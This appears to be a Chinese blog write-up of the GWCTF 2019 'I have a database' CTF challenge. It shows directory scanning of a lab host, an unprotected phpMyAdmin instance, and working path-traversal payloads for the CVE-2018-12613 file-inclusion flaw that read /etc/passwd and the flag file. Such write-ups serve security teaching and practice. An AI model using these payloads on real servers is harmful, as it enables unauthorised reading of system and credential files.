[GWCTF 2019]我有一个数据库

最新推荐文章于 2022-06-26 10:26:03 发布

imbia

最新推荐文章于 2022-06-26 10:26:03 发布

阅读量199

点赞数

CC 4.0 BY-SA版权

分类专栏：安全 CTF WEB安全文章标签：安全

本文链接：https://blog.youkuaiyun.com/satasun/article/details/109497499

安全同时被 3 个专栏收录

49 篇文章

订阅专栏

CTF

40 篇文章

订阅专栏

WEB安全

38 篇文章

订阅专栏

本文通过CVE-2018-12613漏洞，展示了如何无密码进入phpMyAdmin后台并获取服务器敏感信息的过程。利用特定payload，成功读取了服务器上的flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

[GWCTF 2019]我有一个数据库

御剑扫一波

http://12c34c82-e672-45a3-a4cb-42e05faf412d.node3.buuoj.cn/robots.txt
http://12c34c82-e672-45a3-a4cb-42e05faf412d.node3.buuoj.cn/phpmyadmin/
http://12c34c82-e672-45a3-a4cb-42e05faf412d.node3.buuoj.cn/phpmyadmin/tbl_create.php
http://12c34c82-e672-45a3-a4cb-42e05faf412d.node3.buuoj.cn/phpmyadmin/config.inc.php

robots.txt里面提示了phpinfo.php
在这里插入图片描述
访问了一下没啥东西。

再访问了一下phpmyadmin

好家伙，直接进后台，密码都没的。

查看版本号

查看了一下服务器配置：
在这里插入图片描述
这里涉及到一个cve漏洞：
phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞

直接打payload

?target=db_datadict.php%253f/../../../../../../../../etc/passwd

在这题的payload：

http://12c34c82-e672-45a3-a4cb-42e05faf412d.node3.buuoj.cn/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag

在这里插入图片描述